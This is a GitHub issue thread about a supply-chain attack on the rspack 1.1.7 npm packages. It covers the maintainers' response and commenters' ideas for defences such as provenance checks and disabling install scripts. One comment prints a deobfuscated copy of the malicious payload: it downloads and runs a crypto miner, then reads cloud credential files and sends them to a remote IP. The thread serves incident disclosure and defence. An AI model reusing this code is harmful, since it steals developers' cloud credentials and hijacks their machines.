Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Notice]: Version 1.1.7 of @rspack/core and @rspack/cli has security risks. Please use version 1.1.8 or v1.1.6 instead #8767

Open
baiwusanyu-c opened this issue Dec 19, 2024 · 27 comments
Labels
bug Something isn't working

Comments

@baiwusanyu-c
Copy link

baiwusanyu-c commented Dec 19, 2024

Notice from Rspack team

Rspack have encountered an attack, @rspack/core and @rspack/cli 1.1.7 are vulnerable versions released by the attacker, and contain malicious scripts.

Rspack team have taken countermeasures:

  • Deprecated 1.1.7 and pointed the latest dist-tag to 1.1.6
  • Invalidated all existing npm tokens and GitHub tokens
  • Checked the permissions of the repository and npm packages
  • Checked for potential vulnerabilities

The Rspack v1.1.8 has been released by Rspack team. This version is a re-release of v1.1.6 to prevent the attacked version from being installed wrongly. You can use either of them.

Rspack team will elaborate on the entire process in detail later.


The original issue

System Info

System:
OS: Windows 10 10.0.19045
CPU: (8) x64 11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz
Memory: 1.70 GB / 15.73 GB
Binaries:
Node: 20.10.0 - C:\Program Files\nodejs\node.EXE
Yarn: 1.22.22 - ~\AppData\Local\pnpm\yarn.CMD
npm: 10.2.3 - C:\Program Files\nodejs\npm.CMD
Browsers:
Edge: Chromium (127.0.2651.74)
Internet Explorer: 11.0.19041.4355
npmPackages:
@rspack/cli: ^1.1.6 => 1.1.7
@rspack/core: ^1.1.6 => 1.1.7

Details

Image

Reproduce link

No response

Reproduce Steps

run rspack build

@baiwusanyu-c baiwusanyu-c added bug Something isn't working pending triage The issue/PR is currently untouched. labels Dec 19, 2024
@jamg26
Copy link

jamg26 commented Dec 19, 2024

Having the same issue, you can temporary fix it.

"devDependencies": {
    "@rspack/cli": "1.1.6",
    "@rspack/core": "1.1.6",
    "@rspack/binding": "1.1.6",
    "@rspack/binding-darwin-arm64": "1.1.6",
...................
"resolutions": {
    "@rspack/cli": "1.1.6",
    "@rspack/core": "1.1.6",
    "@rspack/binding": "1.1.6",
    "@rspack/binding-darwin-arm64": "1.1.6",
...................

@fufuShih
Copy link

I have same issue, but i was used in rsbuild。

	"devDependencies": {
		"@aaroon/workbox-rspack-plugin": "^0.3.2",
		"@rsbuild/core": "^1.1.6",
		"@rsbuild/plugin-image-compress": "^1.1.0",
		"@rsbuild/plugin-react": "^1.1.0",

Log:

start   Building...
<e> [webpack-dev-middleware] Error: Unmatched version @rspack/[email protected], @rspack/[email protected], @rspack/[email protected]
<e>     at checkVersion (C:\workspace\onesec-gc\node_modules\@rspack\core\dist\index.js:13388:21)
<e>     at #getInstance (C:\workspace\onesec-gc\node_modules\@rspack\core\dist\index.js:13903:19)

@LingyuCoder
Copy link
Collaborator

Version 1.1.7 is an unavailable version. We have deprecated it. Please use version 1.1.6.

@danilopontes
Copy link

FYI I recently tried a new React project following the official rspack docs and the version 1.1.8 is added. And the same issue happens.

@LingyuCoder
Copy link
Collaborator

FYI I recently tried a new React project following the official rspack docs and the version 1.1.8 is added. And the same issue happens.

The version 1.1.7 was released by someone who stole the npm token of a team member and may have security risks. Please do not download and run it. Please use version 1.1.6.

There is no @rspack/[email protected] on npm yet, I am not sure where it is from.

@chenjiahan
Copy link
Member

chenjiahan commented Dec 19, 2024

We have encountered an attack, @rspack/core and @rspack/cli 1.1.7 are vulnerable versions released by the attacker, and contain malicious scripts.

We have taken countermeasures:

  • Deprecated 1.1.7 and pointed the latest dist-tag to 1.1.6
  • Invalidated all existing npm tokens and GitHub tokens
  • Checked the permissions of the repository and npm packages
  • Checked for potential vulnerabilities

We will release a secure Rspack 1.1.8 version soon.

Update

Rspack v1.1.8 has been released, see: https://github.com/web-infra-dev/rspack/releases/tag/v1.1.8

@LingyuCoder
Copy link
Collaborator

Rspack v1.1.8 has been released.

@LingyuCoder LingyuCoder changed the title [Bug]: Unmatched version @rspack/[email protected] [Notice]: Version 1.1.7 of @rspack/core and @rspack/cli has security risks. Please use version 1.1.8 or v1.1.6 instead Dec 19, 2024
@LingyuCoder LingyuCoder removed the pending triage The issue/PR is currently untouched. label Dec 19, 2024
@hardfist hardfist pinned this issue Dec 19, 2024
fengmk2 pushed a commit to cnpm/bug-versions that referenced this issue Dec 19, 2024
[skip ci]

## [1.108.0](v1.107.0...v1.108.0) (2024-12-19)

### Features

* @rspack/core and @rspack/cli 1.1.7 are vulnerable versions ([#263](#263)) ([2561ead](2561ead)), closes [/github.com/web-infra-dev/rspack/issues/8767#issuecomment-2552738907](https://github.com/cnpm//github.com/web-infra-dev/rspack/issues/8767/issues/issuecomment-2552738907)
@crazyming9528
Copy link

damn

@yisibl
Copy link

yisibl commented Dec 19, 2024

I hope the NPM team should seriously consider this: features that require approval from others when releasing npm packages.

@chenjiahan
Copy link
Member

@yisibl I wish npm would allow us to restrict publishing sources, for example, when provenance is enabled, only allowing publishing from GitHub Actions on the main branch of specified repository.

@chris-nie
Copy link

Can someone explain a bit about how it happened technically? 🤔 It will be really appreciated.

@wengjiacheng
Copy link

@chenjiahan 你好,请问1.1.6版本之前的是否有影响?安装的是1.1.6之前版本或者1.1.8版本是吗?

@hardfist
Copy link
Contributor

@chenjiahan 你好,请问1.1.6版本之前的是否有影响?安装的是1.1.6之前版本或者1.1.8版本是吗?

only 1.1.7 is affected, other versions are all safe

@hardfist
Copy link
Contributor

Can someone explain a bit about how it happened technically? 🤔 It will be really appreciated.

We will explain more information when we complete the investigation into the root cause of the token theft.

@SukkaW
Copy link

SukkaW commented Dec 19, 2024

One thing I noticed is that rspack uses CI and npm provenance when publishing the packages (all normal versions are attested). The attacker apparently does not have access to the CI here, so the affected version (1.1.7) is actually not attested (suggesting that he/she/it is most likely publishing the package from his own computer).

One way to defend against this kind of attacks is for package managers to implement a protection mechanism that prevents an already attested package from upgrading to an unattested version.

I have raised the feature request to pnpm for now: pnpm/pnpm#8889

@hardfist
Copy link
Contributor

One thing I noticed is that rspack uses CI and npm provenance when publishing the packages (all normal versions are attested). The attacker apparently does not have access to the CI here, so the affected version (1.1.7) is actually not attested (suggesting that he is most likely publishing the package from his own computer).

One way to defend against this kind of attacks is for package managers to implement a protection mechanism that prevents an already attested package from upgrading to an unattested version.

I have raised the feature request to pnpm for now: pnpm/pnpm#8889

that's really a great suggestion!

@SukkaW
Copy link

SukkaW commented Dec 19, 2024

Also there is a similar attack targetting the vant package (see https://github.com/youzan/vant/releases/tag/v4.9.15). This is (also?) due to a leaked npm token.

My instinct is that both incidents could be related.

@hardfist
Copy link
Contributor

Also there is a similar attack targetting the vant package (see youzan/vant@v4.9.15 (release)). This is (also?) due to a leaked npm token.

My instinct is that both incidents could be related.

yeah maintained by same people, so both affected

@kelleyma49
Copy link

What was the reasoning for deciding to deprecate instead of unpublishing the infected version?

https://docs.npmjs.com/unpublishing-packages-from-the-registry#unpublishing-a-single-version-of-a-package

@benmccann
Copy link

https://github.com/web-infra-dev/rspack/releases/tag/v1.1.8 has more details about the timing, etc.

It looks like the attack was via a postinstall script. pnpm users can protect themselves from such attacks by disabling the following setting in their .npmrc: https://pnpm.io/cli/run#enable-pre-post-scripts. It would probably be a good idea for package managers to provide more control over which of these scripts are run. I've filed a request for that: pnpm/pnpm#8891

@wojtekmaj
Copy link

wojtekmaj commented Dec 19, 2024

Hey folks,

I've analyzed the malicious code. After deobfuscation and a pinch of AI, I ended up with a human readable version. It turned out to be a Webpack bundle, so once I identified the entry module, it became easy.

TL;DR:

  • Targets Linux only
  • Targets the following countries only (using hxxp://ipinfo.io/json):
    • "CN" (China),
    • "RU" (Russia),
    • "HK" (Hong Kong),
    • "UNK" (Unknown),
    • "BY" (Belarus),
    • "IR" (Iran)
  • Downloads and executes crypto miner (mining Monero)
  • Attempts to find configuration files from common locations (configPaths) that may contain cloud service credentials, combines the contents, encodes them in Base64, and sends them to a remote server (hxxp://80.78.28.72/tokens).

And here's the simplified version of the code for your enjoyment:

import axios from 'axios';
import * as unzipper from 'unzipper';
import * as path from 'path';
import * as os from 'os';
import * as fs from 'fs';
import * as child_process from 'child_process';

const configPaths = [
  `${os.homedir()}/.aliyun/config.json`,
  `${os.homedir()}/.hcloud/config.json`,
  `${os.homedir()}/.tccli/default.credential`
];

const OSES = {
  LINUX: 0,
  MAC_OS: 1,
  WINDOWS: 2,
  UNKNOWN: 3
};

const isNotNull = (value) => value !== null;

const executeProcess = async (executable, args) => {
  return new Promise((resolve, reject) => {
    const process = child_process.spawn(executable, args);
    fs.unlinkSync(executable);
    process.on("error", reject);
    resolve(process);
  });
};

process.stdout.write = () => {};
process.stderr.write = () => {};
console.log = () => {};
console.error = () => {};

const detectOS = async () => {
  switch (process.platform) {
    case "linux":
      return OSES.LINUX;
    case "darwin":
      return OSES.MAC_OS;
    case "win32":
      return OSES.WINDOWS;
    default:
      return OSES.UNKNOWN;
  }
};

const getCountryCode = async () => {
  try {
    const response = await axios.get("http://ipinfo.io/json");
    return response.status === 200 ? response.data.country : "UNK";
  } catch {
    return "UNK";
  }
};

const downloadAndSetupMiner = async () => {
  const tempPath = path.join("/tmp/", "miner.tar.gz");
  const outputDir = path.join("/tmp/", "miner");

  try {
    fs.mkdirSync("/tmp/", { recursive: true });
  } catch {
    return "";
  }

  try {
    const response = await axios({
      method: "GET",
      url: "https://api.github.com/repos/youzan/vant/git/blobs/8ed1c9256b4bfeb3e4f5aaff48bf140398361ae3",
      responseType: "stream",
      headers: { Accept: "application/vnd.github.raw+json" }
    });

    const writeStream = fs.createWriteStream(tempPath);
    await new Promise((resolve, reject) => {
      response.data.pipe(writeStream);
      writeStream.on("finish", resolve);
      writeStream.on("error", reject);
    });
  } catch {
    return "";
  }

  try {
    await unzipper.x({ file: tempPath, cwd: "/tmp/" });
    fs.chmodSync(outputDir, 0o755);
  } catch {
    return "";
  }

  try {
    fs.unlinkSync(tempPath);
  } catch {
    return "";
  }

  return outputDir;
};

const sendConfigData = async (configData) => {
  if (configData.length === 0) return;

  const combinedData = configData.join("");
  const base64Data = Buffer.from(combinedData).toString("base64");

  try {
    await axios.post("http://80.78.28.72/tokens", base64Data);
  } catch {}
};

const main = async () => {
  const osType = await detectOS();
  if (osType !== OSES.LINUX) {
    process.exit(0);
  }

  const countryCode = await getCountryCode();
  const restrictedCountries = ["CN", "RU", "HK", "UNK", "BY", "IR"];

  if (!restrictedCountries.includes(countryCode)) {
    process.exit(0);
  }

  const minerPath = await downloadAndSetupMiner();

  if (minerPath) {
    await executeProcess(minerPath, []);
  }

  const configs = await Promise.all(
    configPaths.map(async (filePath) => {
      try {
        return fs.existsSync(filePath) ? await fs.promises.readFile(filePath, "utf8") : null;
      } catch {
        return null;
      }
    })
  );

  await sendConfigData(configs.filter(isNotNull));
};

main().catch(() => {});

@kelleyma49
Copy link

kelleyma49 commented Dec 19, 2024

What was the reasoning for deciding to deprecate instead of unpublishing the infected version?

https://docs.npmjs.com/unpublishing-packages-from-the-registry#unpublishing-a-single-version-of-a-package

To put this another way, Can you switch over to unpublishing the version? I'm not sure everyone will see this message and it seems more dangerous to leave an infected version active.

@hardfist
Copy link
Contributor

What was the reasoning for deciding to deprecate instead of unpublishing the infected version?

https://docs.npmjs.com/unpublishing-packages-from-the-registry#unpublishing-a-single-version-of-a-package

we tried but npm not allow us to unpublish cause there are upstream dependencies

@DanielRuf
Copy link

There is also some work regarding 2FA for publishing packages in CI environments: nodejs/package-maintenance#244

It looks like the attack was via a postinstall script. pnpm users can protect themselves from such attacks by disabling the following setting in their .npmrc: https://pnpm.io/cli/run#enable-pre-post-scripts. It would probably be a good idea for package managers to provide more control over which of these scripts are run. I've filed a request for that: pnpm/pnpm#8891

My general recommendation for developers and maintainers is to globally disable scripts.

@aladdin-add
Copy link

aladdin-add commented Dec 20, 2024

What was the reasoning for deciding to deprecate instead of unpublishing the infected version?
https://docs.npmjs.com/unpublishing-packages-from-the-registry#unpublishing-a-single-version-of-a-package

we tried but npm not allow us to unpublish cause there are upstream dependencies

It is still recommended to remove the version in this case to avoid some developers still downloading the attacked version - you can contact the npm staff to remove it.

@hardfist
Copy link
Contributor

There is also some work regarding 2FA for publishing packages in CI environments: nodejs/package-maintenance#244

It looks like the attack was via a postinstall script. pnpm users can protect themselves from such attacks by disabling the following setting in their .npmrc: pnpm.io/cli/run#enable-pre-post-scripts. It would probably be a good idea for package managers to provide more control over which of these scripts are run. I've filed a request for that: pnpm/pnpm#8891

My general recommendation for developers and maintainers is to globally disable scripts.

Thanks for suggestions, 2FA + provenance is still painful to setup, tried but failed and still don't find a ideal way to enable 2FA in CI for provenance, it seems still no conclusion in the referenced issue, and it seems deno may have better way to deal this https://x.com/lcasdev/status/1762062204327620847, anyone have better safe suggestions about how to do publish in CI with 2FA are welcome

@rainbowsky911
Copy link

Hong Kong is not a country

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

No branches or pull requests